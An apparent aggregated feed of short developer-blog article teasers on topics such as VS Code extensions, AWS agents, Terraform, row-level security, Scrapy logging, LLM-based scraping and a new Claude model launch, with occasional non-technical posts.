    🚀 Introducing CCC: Code Commenting Convention for VS Code Hey developers! 👋 CCC (Code Commenting Convention), a lightweight VS Code extension that helps you write clear, consistent, and meaningful comments across all programming languages. If you've ever struggled with messy comments like: // fix this # maybe change? CCC is here to standardize them. Every tag has a clear meaning, making your code more readable and easier to maintain. ✨ Features Smart Autocomplete: Triggered automatically after comment characters (//, #, /*, etc.) Hover Descriptions: Hover over tags like TODO, FIXME, SECURITY to see their meaning Universal Language Support: Works in JavaScript, Python, HTML, SQL, Bash, and more Zero Configuration: Install and start using immediately Install Here  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters in 16 Minutes or Less is a tongue-in-cheek CinemaSins video tearing into the new K-Pop Demon Hunters flick—packed with their trademark “sins” commentary, a link to the full site, and a cheeky invitation to fill out a poll or support them on Patreon. They also shout out their writing team (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel) with social links, plus community hangouts on Discord and Reddit, and additional follow-along channels like TVSins, CommercialSins, Instagram and TikTok. Watch on YouTube  ( 6 min )
    Deconstructing a Production-Ready AI Agent: A Beginner's Guide - Part 3
    The Secure Factory — Deploying and Operating with Amazon Bedrock AgentCore 3.1 Introduction: The "Prototype vs. Production" Problem In Part 1, we built a secure frontend (React + Cognito + API Gateway). In Part 2, we designed the agent's logic—its "blueprint"—using the Strands SDK. We now have a "prototype" that likely runs on a developer's laptop with a python main.py command. Why can't we just put this Python code on a server (like an Amazon EC2 instance), point our API Gateway at it, and call it "done"? This is the "Prototype vs. Production" gap. As the airline agent example states, "Building a chatbot is easy. Building a production-grade AI agent that can perform real-world tasks securely and at scale is incredibly hard". To go to production, we must first solve a "mountain of engine…  ( 10 min )
    Building Composable RLS: Enterprise Data Security on Autopilot
    Enterprise applications require rigorous data integrity and security, but manually implementing these cross-cutting concerns is error-prone. This post, the (almost) final in our series on building an automated Data Access Layer (DAL), focuses on implementing the most challenging requirement: Row-Level Security (RLS). We build upon our existing system of composable global query filters, extending it to enforce entity-based RLS automatically. This means a developer writes a simple query, and the DAL guarantees that only records accessible to the current user are returned, even for complex joins. IProtected To enable this, we update our IDbCtx to carry the authenticated user's Ulid? UserId. A key security choice is to adopt a "fail-closed" stance: if UserId is null, the query will be filter…  ( 8 min )
    Integrating Campaign Monitor Smart Emails (Transactional) — Minimal Guide
    This short guide describes a minimal, robust integration pattern for sending Campaign Monitor Smart (transactional) emails from a .NET application. It documents practical pitfalls and how the example CampaignMonitorService addresses them. Note: all examples below use placeholders (no real API keys, email addresses, or list IDs). Campaign Monitor uses Basic Auth for all API calls. Use the API key as the username and any non-empty string (for example x) as the password. There is no separate transactional API key; the same key used for classic APIs also works for transactional Smart Email endpoints. Example header (curl style): # placeholder values API_KEY= SMART_ID= curl -u "$API_KEY:x" \ -H "Content-Type: application/json" \ -d '{"To":["<recipient_pla…  ( 8 min )
    The Secret Life of JavaScript Objects: Flags and Descriptors
    Most of us learn JavaScript objects like this: const user = { name: "John", age: 30 }; It looks simple. A key, a value. Done. But what if I told you that every property in an object has hidden settings? What if you wanted to create a property that cannot be deleted? Or a property that is invisible to loops? Or a value that is read-only, like Math.PI? Welcome to the world of Property Flags and Descriptors. This is how you take off the training wheels and gain full control over your objects. Imagine a file on your computer. It has content, but it also has attributes: Read-only, Hidden, or System file. JavaScript object properties work the same way. Besides the value, every property has three special "flags" (attributes) that are usually set to true by default: writable: If true, the va…  ( 8 min )
    Cognitive Load: The Invisible UX Killer
    When users struggle with your product, it's easy to assume the problem is with them. Maybe they’re “not tech-savvy” or just didn’t “get it.” But more often than not, the issue isn’t the user, it’s the cognitive effort your product is demanding. In UX terms, this is called cognitive load, and it’s one of the most overlooked reasons why users drop off, get frustrated, or never come back. It’s not loud or obvious, but when it’s high, it quietly sabotages the entire experience. Let’s unpack what it means, how it shows up in real products, and how to design around it. Cognitive load refers to the total amount of mental effort being used in our working memory. Every time someone interacts with a digital product, they’re juggling a few things in their head: What they’re trying to achieve (their g…  ( 10 min )
    Effectiveness of traditional and LLM-based methods for web scraping
    Web scraping in 2025 sits at an interesting crossroads. Traditional tools are still widely used and capable, but maintaining large scraping pipelines has become more demanding. Layouts change frequently, defensive systems are being improved, and HTML adjustments that break parsers are implemented faster than before. At the same time, AI-driven techniques are maturing. Large language models (LLM) don’t replace the fundamentals of crawling, but they do change how we interpret page content and handle structured extraction. According to a 2025 McKinsey research, companies adopting generative AI jumped from 33% to 71% in a single year. Scraping is one of the areas where this shift was expected. More teams explore web scraping LLM methods and AI data scraping to reduce manual maintenance. GenAI…  ( 10 min )
    Multi-Cloud Strategy: When and How to Go Multi-Cloud
    Introduction Every few months, another major cloud outage makes headlines. AWS us-east-1 goes down, taking half the internet with it. A misconfigured Azure deployment affects thousands of customers. These incidents fuel the multi-cloud narrative: "Don't put all your eggs in one basket." But multi-cloud comes with significant costs—complexity, operational overhead, and often higher expenses. While some organizations genuinely benefit from multi-cloud, many adopt it for the wrong reasons and regret the decision. In this comprehensive guide, we'll explore when multi-cloud makes sense, when it doesn't, and how to implement it successfully if you truly need it. Multi-cloud means using services from multiple cloud providers (AWS, Azure, GCP) for production workloads. It's important to distingu…  ( 14 min )
    🐍 Building an FX Trading Edge: Creating a Python Client for the FXMacroData API
    When building a Python library, the goal is to turn a complex, boilerplate-heavy process (raw API calls) into a simple, elegant one-liner. The FXMacroData API provides real-time macroeconomic indicators for major currency pairs—a goldmine for quant traders and analysts. Raw API calls force developers to repeat code for authentication, error checking, and URL construction. Embracing the DRY (Don't Repeat Yourself) principle, I set out to build a dedicated Python library on top of it, creating a user-friendly wrapper. This article walks you through the core components of that wrapper, covering synchronous and asynchronous clients, proper exception handling, and utility functions. A good library starts with an intuitive entry point. My goal was to turn an HTTP request into a clean Python meth…  ( 8 min )
    I Built My DevOps Portfolio on a Killercoda Ubuntu Playground — And It Transformed My Learning
    Why Every DevOps Engineer Should Deploy Their First Portfolio on Killercoda Most DevOps tutorials begin with AWS, GCP, or Kubernetes. But here’s my honest advice: Start with Killercoda’s Ubuntu playground instead. 🔗 https://killercoda.com/playgrounds/scenario/ubuntu I recently deployed my full DevOps portfolio website using nothing but this environment and Nginx — and it was one of the most valuable hands-on exercises I’ve done. Here is the live server running my site: 🔗 https://411913816ee7-10-244-13-238-80.spch.r.killercoda.com/ When you deploy on Killercoda, you learn the fundamentals that cloud providers hide behind fancy panels: creating and securing directories Configuring Nginx from scratch troubleshooting server errors managing processes manually deploying changes without automation crutches It’s the closest experience to running a real Linux server — without paying for one. If you're a beginner DevOps engineer or trying to build confidence: Forget the cloud for a moment. Deploy something raw. Learn the ground truth. Your terminal will become your greatest teacher.  ( 6 min )
    Working 30% on a 100% Job: What I Learned as a Solo Developer
    There’s something I wish more employers understood — something I didn’t fully have the words for until I lived through it myself: when a developer says the work requires a full-time position, they’re not exaggerating. They’re telling you what it actually takes to build the thing you’re asking for. I learned that lesson from the inside, as the developer whose role didn’t match the expectations placed on it. Stepping into a system built on shaky ground A while back, I joined a small Norwegian company as their only developer. They handled services related to cemeteries and memorials, and they had a system that had grown organically over the years. The database was… let’s say “creatively structured,” and every architectural decision seemed to lean in a different direction. I wanted to do goo…  ( 8 min )
    Como Estruturei um Template de AWS Lambda com Terraform e GitHub Actions
    Recentemente, desenvolvi um template reutilizável para aplicações AWS Lambda em Python, integrando infraestrutura como código via Terraform e automação de CI/CD com GitHub Actions. Neste artigo, compartilho minha experiência, decisões de arquitetura e exemplos práticos para quem deseja acelerar projetos serverless na AWS. A necessidade de padronizar e acelerar entregas de funções Lambda me levou a criar um template que pudesse ser facilmente adaptado para diferentes projetos. O objetivo era garantir segurança, rastreabilidade e facilidade de manutenção, sem depender de nomes de empresas ou clientes. A estrutura que utilizei foi a seguinte: . ├── app/ │ └── handler.py # Código da Lambda ├── infra/ │ └── terraform/ │ ├── main.tf # Infra principal │ ├─…  ( 8 min )
    Como Provisionar Infraestrutura AWS MediaConvert com Terraform
    Introdução Recentemente, trabalhei em um projeto que envolvia o processamento de vídeos em escala na nuvem. Precisávamos de uma solução robusta para converter vídeos automaticamente, e o AWS MediaConvert se mostrou perfeito para isso. No entanto, configurar toda a infraestrutura necessária – filas, roles IAM, templates de job e logs – pode ser complexo. Decidi usar Terraform para automatizar tudo, criando uma infraestrutura como código que pudesse ser reutilizada em diferentes ambientes. Neste artigo, vou compartilhar minha experiência implementando essa infraestrutura. Vou explicar passo a passo como provisionar os recursos essenciais do MediaConvert usando Terraform, desde a configuração inicial até o deploy. O foco é em uma abordagem prática, com exemplos de código e dicas para evitar…  ( 9 min )
    Choosing the Right Debugging and Session Replay Tool - Multiplayer vs LogRocket, Sentry, Datadog, and FullStory
    When people report bugs or performance problems, developers need more than logs and metrics; they need context. That’s where debugging and session replay tools enter the picture. These platforms log users' interactions, console logs and network activity, giving teams a window into what really happened before the error occurred. Some popular tools like LogRocket, Sentry, Datadog and FullStory have already established themselves as essential in modern product teams. They give companies the ability to issue track, and this results in better user experiences and the alignment of engineering with design. But a new player in the space, Multiplayer, is betting on developer-first debugging and visibility, which is based around live collaboration, rich context and without any vendor lock-in. This a…  ( 14 min )
    NORTXZchan.com
    Check out this Pen I made!  ( 5 min )
    Opsfolio - From Interview Task to Production: Building a Security-First DevSecOps Platform
    From Interview Task to Production: Building a Security-First DevSecOps Platform TL;DR The Assignment: Deploy a simple app to local Kubernetes What I Built: A production-grade DevSecOps platform with 6-layer security scanning, FinOps cost tracking, GitOps automation, and complete observability Result: "Opsfolio" - A hands-on demonstration of how I approach real-world infrastructure challenges 🔗 View the complete repository The Challenge The Approach Security Architecture FinOps: Cost Intelligence Automation & GitOps Technical Implementation Results & Metrics Key Takeaways The interview assignment was straightforward: ✅ Set up a local Kubernetes cluster (kind/minikube/k3s) ✅ Create a Dockerfile ✅ Deploy an application ✅ Bonus: IaC, GitOps, semantic versioning Simple enough. Bu…  ( 10 min )
    Why n8n Become Popular in Oracle Cloud: Top Reasons Behind This Rapid Growth (2025 Guide)
    If you've been exploring modern automation tools, you might have noticed that n8n become popular in Oracle Cloud faster than almost any other platform. This isn’t random—it's a logical result of combining a powerful, open-source automation tool with one of the most cost-efficient cloud infrastructures available today. This guide breaks down all the reasons behind this rising trend, explains the technical benefits, and walks you through how businesses and developers are leveraging the n8n-OCI pairing. Understanding n8n and Its Growing Ecosystem n8n is an open-source workflow automation platform that allows users to connect apps, APIs, and backend operations without writing tons of code. Its visual editor makes it extremely simple to build powerful data flows, automate repetitive tasks, or i…  ( 8 min )
    Online Job Application
    Check out this Pen I made!  ( 5 min )
    🌱 Learning to Build With AI Is Powerful, But Sometimes Can Be Overwhelming
    `AI tools today are incredible. But while building real projects with AI, I kept noticing something subtle: It wasn’t a flaw in AI, it was a gap in how we use it. 🧩 The Quiet Problem Developers Face: AI can write code brilliantly. When you’re trying to grow as a developer, you need: And that’s why many developers tell me: “AI helps me code but I still don’t feel confident. Yet guilty or the AI is doing it for me” 🔥 The Question That Led Me to Build PIYE I asked myself: “What if AI could guide me like a mentor, not just assist me like a tool?” Not replacing learning. Something that could: That idea turned into PIYE, an AI mentor built for learning and building together. 🛠️ What PIYE Focuses On PIYE Mentor, Guidance With Clarity: PIYE doesn’t overwhelm you with long answers. More like a calm, patient senior dev. PIYE Studio, Learn the Thinking, Not Just the Code: Studio helps you develop core skills: It’s about building confidence, not shortcuts. I’d Love to Hear From You If you’re a beginner, junior dev, or self-taught: What part of building with AI feels the most unclear? Your feedback genuinely shapes PIYE’s future. 🙏 If You’re Curious Here’s the project: https://www.piye.dev But more importantly, I’d love to hear your experiences in the comments. Thanks for reading ❤️ Building with AI is still new for all of us, your perspective truly matters. `  ( 7 min )
    Beginning My Journey to Become a Full-Stack AI Web Developer & AI Engineer
    A longform introduction to my learning-in-public path I’m starting something long-term, challenging, and ambitious: building the skills to become a full-stack web developer and AI engineer from the ground up. My background isn’t in computer science—I completed 12th-grade PCB—so this is a complete transition into software development. I’m documenting the entire process publicly to create accountability, measure my progress, and eventually build a transparent, verifiable portfolio of work. My motivations are simple and practical: Accountability: Publishing my progress forces me to stay consistent and disciplined over months, not days. Clarity: Writing publicly helps me understand what I’m learning and why. Transparency: I want a portfolio that doesn’t just show final projects but the proce…  ( 9 min )
    Job Profit Calculator
    Check out this Pen I made!  ( 5 min )
    A look at Aikido's first launch on Product Hunt
    ⁠#1 Product of the Day and #1 Developer Tool of the Month: Aikido Security first launched on Product Hunt last month, and they crushed it. Tagline, visual assets, community engagement... Here's a breakdown of what they did right and how to apply it to your launch. Full disclosure: If this was Aikido's first launch on Product Hunt, the team does have previous launch experiences. In fact, they launched Opengrep last February and ranked #5 Product of the Day. Nailed the tagline. The most important part of a launch? These 60 characters are the first thing you read on the front page. "Secure everything you build, host, and run." Simple, relatable, straight-to-the-point. Polished the visual assets. Underrated: The image gallery. It tells your story, visually. It starts with an intro, i.e. the OG image. IMHO It should finish with an end, i.e. your call-to-action. Nailed it. Engaged with the community. They added a first, short comment to get the discussion started. They also upvoted and replied to every comment. How to apply this to your launch Keep the tagline simple and relatable Show the product in your image gallery Engage with the community thoughtfully Over to you! What are your key learnings from your previous launches? What worked, what didn't work from your perspective?  ( 6 min )
    Cron Jobs vs Real Task Schedulers: A Love Story
    Hey folks. I know, I know, another long post. But if you've been following Today's about task scheduling. Specifically, about a problem I've spent way too much time solving in production. You know that feeling when your startup grows from handling hundreds of tasks to millions, and suddenly your "simple cron job solution" is costing you thousands in Redis memory? Yeah, I've been there. Today I want to walk through building a proper task scheduler – the kind that companies like Stripe, Airbnb, and Uber actually use in production. Not the toy examples you see in tutorials, but something you can actually deploy on Friday and sleep well over the weekend. The Problem with Traditional Cron Why Big Tech Uses a Two-Tier Architecture The Architecture We're Building Understanding the Queue Layer Th…  ( 21 min )
    Day-02 Terraform AWS Provider
    Understanding The Terraform Providers Infrastruture as Code(IaC) has changed the way developers and cloud engineers manage and deploy infrastruture. Among all IaC tools, Terraform stands out for its simplicity, flexibility, and multi-cloud capabilities. But behind evrything Terraform does, there is one core component that makes the magic happen: providers. if you're new to Terraform, understading providers is the first major step toward writing reliable and scalable infrastructure code. This blog breaks down what providers are, how they work, why versioning matters, and how to get hands-on with them using AWS as an exmaple. 🚀What are Terraform Providers? A Terraform provider is essentially a plugin that allows Terraform to interact with an external platform such as AWS, Azure, Google Clou…  ( 8 min )
    How LLMs Like ChatGPT Work: A Look Behind the AI Curtain
    The Foundation: What is a Large Language Model? At its heart, a Large Language Model (LLM) is a type of artificial intelligence designed to understand, generate, and interact with human text. The "large" in its name is no exaggeration. These models are built on neural networks containing billions, or even trillions, of parameters. Think of these parameters as the knobs and dials the model can tune to learn the intricate patterns of language. The real breakthrough that enabled modern LLMs like ChatGPT was the invention of the "Transformer" architecture in 2017. Before the Transformer, AI models struggled with understanding long-range context in text. They might forget the beginning of a long paragraph by the time they reached the end. The Transformer's secret weapon is a mechanism called…  ( 9 min )
    Dynamic Log file for each spiders: Scrapy Logging
    To dynamically assign a log file without modifying the settings directly, you need to set up logging outside the immutable settings object. Here's how to fix this: Instead of modifying the LOG_FILE in the immutable settings, directly reconfigure the Python logging module within the spider_opened signal handler. DynamicLogFileExtension import os import datetime import logging from scrapy import signals class DynamicLogFileExtension: @classmethod def from_crawler(cls, crawler): # Instantiate the extension ext = cls() # Connect the spider_opened signal crawler.signals.connect(ext.spider_opened, signal=signals.spider_opened) return ext def spider_opened(self, spider): # Create a logs directory if it doesn't exist log_d…  ( 7 min )
    Zero-Effort ER Diagrams in Django: Auto-Generate Directly From Your Models
    When a Django project starts small, model relationships are easy to understand. ❗ Understanding how models relate becomes harder than reading the source code itself. This is where Entity-Relationship Diagrams (ERDs) become incredibly important. ✔ How models depend on each other Yet many teams never update ERDs after the first version, because manually drawing diagrams in Draw.io / Lucidchart / Figma becomes unmaintainable. 💡 The solution? Generate ER diagrams automatically from Django models — as code or as images — directly from your project. Not only can this live documentation be added to the repo, it can also be generated automatically in CI/CD, ensuring your docs always match your models. Goal Best Format Recommended Tool Auto-generate PNG / SVG diagrams DOT → PNG django-exten…  ( 8 min )
    How to Calculate Returns When Investing Using a SIP Calculator
    A SIP calculator is one of the easiest tools for understanding how much your investments can grow over time. Whether you invest every month through SIP or put in money once through a lumpsum, the calculator shows how your money compounds, how much wealth you can build, and what your final maturity amount may look like. A lot of people assume SIP and mutual funds are the same thing, but SIP is simply a method of investing in mutual funds. You can either invest regularly (SIP) or put everything at once (lumpsum). In both cases, a SIP calculator or mutual fund calculator helps you estimate how your investments will perform in the future. A SIP calculator is a digital tool that tells you how much return you can expect when investing through SIP. You enter three simple inputs: Your SIP amount (…  ( 9 min )
    Opus 4.5 is Here: We’re Loving It
    We've been working with our friends from Anthropic for a while now, and it's finally time to share: Claude Opus 4.5 is launching today. Our team at Kilo Code has been spoiled testing a preview of the latest model from Anthropic. Today, Anthropic officially launches Opus 4.5, and we're making it available immediately in Kilo Code. The most significant change? Opus 4.5 introduces something genuinely new: effort settings. You can now tell the model how hard to think. High effort: Claude takes its time, uses more tokens, delivers maximum intelligence (this is Anthropic's default) Medium effort: The sweet spot for most tasks Low effort: Fast, efficient, and surprisingly capable for straightforward coding tasks Think of it like having three models in one. Need a quick function? Low effort…  ( 8 min )
    How AI Can Help You Learn DevOps Faster – A Mentor’s Guide
    Table of Contents Introduction Why AI Matters in DevOps Learning AI-Powered Learning Strategies 3.1 Interactive Chatbots and AI Mentors 3.2 Intelligent Code Review and Feedback 3.3 Automated Labs and Simulation Environments Step-by-Step AI-Driven DevOps Learning Workflow Real-World Use Case Examples 5.1 CI/CD Pipeline Automation with AI 5.2 AI for Infrastructure as Code (IaC) Troubleshooting Developer Tips for Maximizing AI Learning AI Tools & Libraries to Explore Common Developer Questions Conclusion DevOps is complex. From CI/CD pipelines to monitoring, container orchestration, and cloud infrastructure, mastering DevOps takes time. But what if AI could accelerate your learning curve? This guide provides actionable, technical ways AI can help you learn DevOps faster, with examples…  ( 8 min )
    Master Java substring(): A No-Fluff Guide with Examples & Real-World Use
    Master Java substring(): Your Ultimate Guide to Slicing and Dicing Text Alright, let's talk about one of the first things you genuinely need to know when you're getting your hands dirty with Java: how to work with text. And when it comes to text (or Strings, in Java-speak), one of the most common tasks is extracting a part of it. Want to get the first name from a full name? Parse a date? Extract a domain from a URL? You're going to need the substring() method. It sounds simple, right? But if you've ever been hit with an IndexOutOfBoundsException, you know it can be a bit tricky. So, let's break down Java's substring() method in a way that actually makes sense. No jargon, no fluff—just a clear, practical guide you can use right now. What Exactly is the substring() Method? You tell it wher…  ( 10 min )
    The Smart Home Uprising
    Your dishwasher might soon know more about your electricity bill than you do. As renewable energy transforms the grid and artificial intelligence infiltrates every corner of our lives, a new question emerges: could AI systems eventually decide when you're allowed to run your appliances? The technology already exists to monitor every kilowatt-hour flowing through your home, and the motivation is mounting as wind and solar power create an increasingly unpredictable energy landscape. What starts as helpful optimisation could evolve into something far more controlling—a future where your home's AI becomes less of a servant and more of a digital steward, gently nudging you toward better energy habits, or perhaps not so gently insisting you wait until tomorrow's sunshine to do the washing up. Th…  ( 28 min )
    From RAG to RAO Level 6: How I Evolved Tiramisu Framework into a Multi-Agent System
    Three weeks ago, I published Tiramisu Framework v1.0 — a simple RAG system for marketing consultancy. 🎯 TL;DR ✅ Real multi-agent architecture (not simulated) 🔗 GitHub frameworktiramisu@gmail.com ⚠️ Important Legal Notice ✅ Add your own knowledge base and documents No proprietary content, copyrighted materials, or brand names are included in the distributed package. 📊 The Evolution: v1.0 → v2.0 🧠 What is RAO? (And Why It Matters) Tiramisu v2.0 = Level 6 complete 🏗️ The New Architecture 💻 Code Comparison rag = TiramisuRAG() v2.0 - Intelligent Routing: system = TiramisuMultiAgent() print(result['consultant']) # "Gary" (social media expert) 🎯 Feature 1: Hybrid Supervisor (100% Accuracy) # Layer 1: Keywords (fast, 95% of cases) gary_keywords = ["instagram", "tiktok", "social", "…  ( 19 min )
    Playwright vs Cypress: Solving Real Test Automation Challenges
    Does your test suite feel like it's fighting against you instead of helping? Every QA team faces similar frustrations: flaky tests that pass locally but fail in CI, debugging sessions that take longer than writing the tests, and execution times that slow down releases. The framework you choose directly impacts whether these problems improve or worsen. Let's examine how Playwright and Cypress address common testing challenges differently. The Real Problem: Not All Testing Tools Solve the Same Problems Before diving into features, let's acknowledge the truth: you're not choosing a testing tool because it's popular. You're choosing it because you have specific problems to solve. Common challenges teams face: Tests that randomly fail without code changes Debugging failures that happened in CI…  ( 9 min )
    Le potentiel rôle de Dieu dans notre sort (Pensée libre Pt II)
    Pt I: Read Here Il existe une réalité que beaucoup évitent d’aborder : malgré nos prières, notre humanisme, notre compassion naturelle… le sort général de nos vies ne semble pas toujours refléter nos efforts ou notre foi. Dieu est-Il injuste ? Est-Il silencieux ? Ou n’existe-t-Il tout simplement pas ? Pourtant, dans le même monde, dans les mêmes villes, dans les mêmes familles, on voit aussi des choses impossibles à expliquer autrement que par une force extérieure. Mais le contraste fait mal : Est-ce une injustice ? Est-ce un prix qu’on paie ? Un mystère ? La réincarnation ? Personnellement, je reste convaincu que Dieu existe. “Car mes pensées ne sont pas vos pensées, et mes voies ne sont pas vos voies.” Ésaïe 55:8 Et c’est peut-être là toute la tension : On doit quand même admettre quelque chose : Mais cela révèle aussi une vérité fondamentale : On est là pour quelque chose qui nous dépasse. La Bible dit d’ailleurs : “Tout est permis, mais tout n’est pas utile.” 1 Corinthiens 10:23 Comme pour rappeler que oui, Dieu nous laisse libres, mais que cette liberté s’inscrit dans une histoire plus vaste. Quant à la souffrance… la question reste ouverte. Alors vivons. Parce qu’au final, malgré le silence apparent, “Je suis avec vous tous les jours.” Matthieu 28:20 C’est peut-être ça, notre véritable espoir.  ( 7 min )
    AWS CDK Introduces Mixins: A Major Feature for Flexible Construct Composition (Developer Preview)
    AWS CDK has newly introduced Mixins as a major feature that will become the core of future CDK development, currently available as a Developer Preview. This feature is expected to significantly change how CDK will be used in the future. As of November 2025, Mixins is in Developer Preview. Please be aware that the specification and behavior may change significantly in the future. Mixins is a mechanism for applying composable abstractions to any Construct, regardless of whether it's an L1 or L2 Construct. It was introduced in CDK v2.229.0, but as of November 2025, it is still in Developer Preview. Not all features are fully available yet, and more functionality and improvements are planned to be added in the future. This article explains the overview and usage of Mixins in a more accessible …  ( 12 min )
    Machine Learning With Python: The Most In-Demand Skill for Tech Professionals in 2025
    Machine Learning (ML) has become one of the most influential technologies of our time. Whether it’s understanding customer behavior, automating tasks, or creating intelligent systems, ML is everywhere. And at the heart of this revolution lies Python, the most preferred programming language for machine learning worldwide. Why Machine Learning and Python Go Hand-in-Hand The Benefits of Learning Machine Learning With Python Beginner-Friendly and Clean Syntax Python doesn’t overwhelm learners with complex rules. Instead, its readable structure helps beginners focus on concepts instead of syntax. Powerful Libraries for Machine Learning Python offers a rich ecosystem of ML and data science libraries such as: • NumPy – Numerical data handling • Pandas – Data cleaning, preprocessing • Scikit-learn – Classical machine learning algorithms • TensorFlow & PyTorch – Deep learning • Matplotlib & Seaborn – Data visualization These tools help you build powerful ML models with minimal code. Real-World Application Across Industries Today, organizations use ML for: • Fraud detection • Healthcare diagnostics • Recommendation engines • Customer analytics • Natural language processing • Image recognition • Financial forecasting Learning ML with Python prepares you for opportunities across multiple industries. Why 2025 Is the Best Time to Learn ML With Python How Python Improves the ML Workflow Final Thoughts machine learning with python course in chennai offered by Immek Softech Academy is designed to help you build real-world skills and become job-ready.  ( 7 min )
    Building Real-Time, Scalable, Fault-Tolerant Applications — an Advanced Guide for Developers
    If you’re juggling an assignment online about advanced software engineering or preparing real-world projects for your portfolio, check out this resource: Assignment Online Modern apps — from global chat platforms to live analytics dashboards and multiplayer games — must handle unpredictable traffic, deliver low latency, and survive component failures without downtime. Mastering distributed system design teaches you how to trade consistency for availability, reason about partial failures, and combine multiple technologies into resilient architectures. Employers prize developers who can design systems that continue to work when the network doesn’t. Distribution & Consistency models Event-driven architecture & messaging Microservices & service discovery State management & storage Fault tolera…  ( 8 min )
    POCking AI
    This article reflects my personal experience over 8 months of intensive AI-assisted development across multiple projects. Your mileage may vary, but the principles should translate across languages and frameworks. I was presenting this topic at Moldova DevCon 2025 and i want to share the whole story. This is my journey in pair software development with AI. This is not an advertisement or promo for any of products and any services i'm going to talk about. This is a personal opinion. I'll talk about some challenges and gains that i've encountered during these coding sessions. Eight months ago, I was that developer who rolled his eyes at AI coding tools. "Just fancy autocomplete," I thought. "Real developers don't need assistance." Basically, I didn't want to pay for stuff that I don't believ…  ( 15 min )
    Github dockerfile service using AI - Part 1
    Intro I have been fooling around a lot with ai recently, and I thought I would write something about what I've been doing. There are a few things that I've been doing, and they're all fascinating. Writing average looking code using minimum viable prompts. Getting this average looking code refactored to be a robust service. Generating API documentation - and having Claude fix this code. This is part one of a small series that I have created to walk through the process I went through to get decent code. I had a crazy idea. I thought to myself, let's write something that will go through my git repos and automagially update my dockerfiles so that the dockerfile uses a fixed but more recent version of the base image. Most Dockerfiles have a fixed base image line that looks something like this…  ( 13 min )
    The Gen Z Privilege And The Blind Spot in AI Era
    Late 2022. I still remember the excitement. I pulled my classmate aside, opened my laptop, and typed a prompt into this new thing called ChatGPT. When the text streamed back, eyes widened. It felt like magic. It felt like the future. Back then, my message to everyone was simple "You guys need to try this. It's cool. It's going to change everything." Fast forward to Saturday, November 1 (Late 2025). I was standing in front of 70+ people at the Soedirman Digital School event with Purwokerto Dev. I was still talking about AI. But the message had changed completely. I wasn't there to hype the tools anymore. I was there to talk about the risks. The bias. The cognitive gap. How did I go from a "fanboy" to a "realist"? Here is the story. We need to admit something, as Gen Z, we have a massive pr…  ( 8 min )
    How Multi-Agent Orchestration Reduces Developer Burnout
    Writing clean code rarely causes burnout. The real culprit is the cognitive load of context switching, managing infinite dependencies, and putting out infrastructure fires while trying to ship features. In 2025, 78% of senior engineers report feeling overwhelmed by operational complexity rather than algorithmic challenges. Multi-agent orchestration changes this dynamic by treating AI not just as a chatbot, but as a specialized team. By assigning specific roles—like tester, debugger, and documenter—to autonomous agents, developers regain the focus required for deep work. The role of a software engineer has mutated. It no longer involves just writing functions; it involves wrangling Kubernetes configurations, securing API endpoints, and managing cloud resources. A 2025 State of DevOps report…  ( 11 min )
    Frontend Isn’t “Just UI” Anymore
    For a long time, “frontend” sounded like a thin layer of buttons and CSS on top of the “real” application. Today, that picture is completely broken. Frontend is where product decisions surface, where performance is felt, and where user psychology either works for you or against you. All of that is happening inside a single render cycle. When someone taps a button or loads a page, they are judging not just your design but your product, your engineering, and your understanding of their needs. That is why the biggest upgrade for modern frontend developers is not learning yet another framework. The real shift is learning to think in systems. Frameworks come and go, patterns trend and fade, but a systems mindset compounds across teams, codebases, and entire products. Think in Systems, Not Scree…  ( 9 min )
    THE NETWORK RENAISSANCE
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    Cohesion Is About Knowledge: Why High Cohesion Makes Code Easier to Understand
    We've all heard that "high cohesion" is good. But what does cohesion actually mean? Most definitions focus on the mechanics: "elements that belong together should be grouped together." But this raises the question: how do we know what "belongs together"? The answer lies in understanding cohesion as a knowledge organization principle. Here's a more fundamental way to think about cohesion: Cohesion is about grouping knowledge that changes for the same reason Knowledge that varies together should be grouped together. Knowledge that varies independently should be separated. When you have high cohesion, all the knowledge in a unit changes for one reason—driven by one change driver. When you have low cohesion, the knowledge in a unit changes for multiple independent reasons—driven by different, …  ( 12 min )
    2025 Complete Guide: How to Build End-to-End OCR with HunyuanOCR
    🎯 Key Takeaways (TL;DR) A single 1B multimodal architecture covers detection, recognition, parsing, translation, and more in one unified OCR pipeline. Dual inference paths (vLLM + Transformers) plus well-crafted prompts make rapid production deployment straightforward. In-house benchmarks show consistent gains over traditional OCR and general-purpose VLMs across spotting, document parsing, and information extraction. What Is HunyuanOCR? Why Is HunyuanOCR So Strong? How to Deploy HunyuanOCR Quickly? How to Design Business-Ready Prompts? What Performance Evidence Exists? How Does the Inference Flow Work? FAQ Summary & Action Plan HunyuanOCR is Tencent Hunyuan’s end-to-end OCR-specific vision-language model (VLM). Built on a native multimodal architecture with only 1B parameters, it reach…  ( 9 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    CinemaSins drops a 16-minute “Everything Wrong With KPop Demon Hunters” video, poking fun at what a sinning version of that film might sound like—packed with their signature jokes and nitpicks. The description is basically a self-promo, pointing you to Cinemasins.com, their YouTube channels, a poll, Patreon support, and a whole list of writers and social links (Twitter, Instagram, Discord, Reddit, TikTok, even a book). Watch on YouTube  ( 6 min )
    A Practical Guide to Building AI Agents with Java and Spring AI - Part 4 - Add Tools
    In Part 3 of this series, we enhanced our AI agent with domain-specific knowledge through RAG, allowing it to answer questions based on company documents. However, we discovered another critical limitation: when asked about real-time information like weather forecasts or current dates, the agent couldn't provide accurate answers. AI models are trained on historical data with a knowledge cutoff date. They don't have access to real-time information like current weather, today's date, live flight prices, or currency exchange rates. This makes them unable to help with time-sensitive tasks that require up-to-date information. In this post, we'll add tool calling (also known as function calling) to our AI agent, allowing it to access real-time information and take actions by calling external API…  ( 12 min )
    Ruby on Rails AI Development: Accelerating AI Adoption
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    AI Agent Memory: From Manual Implementation to Mem0 to AWS AgentCORE
    AI Agent Memory: From Manual Implementation to Mem0 to AWS AgentCORE Introduction AI agents need memory to remember past conversations, user preferences, and learned information. Just like humans have different types of memory (short-term, long-term, episodic), AI agents use different memory systems to function effectively. This guide explains memory in simple terms and shows you how to implement it both without external tools (using pure Python) and with external tools (using specialized services). We'll end with a complete end-to-end solution using Mem0 that combines all memory types. Think of AI agent memory like human memory: Memory Type What It Does Simple Example Short-term Memory Remembers current conversation "What did the user just say?" Long-term Memory Reme…  ( 19 min )
    HTML strings vs the DOM API: from a small benchmark to a surprising result
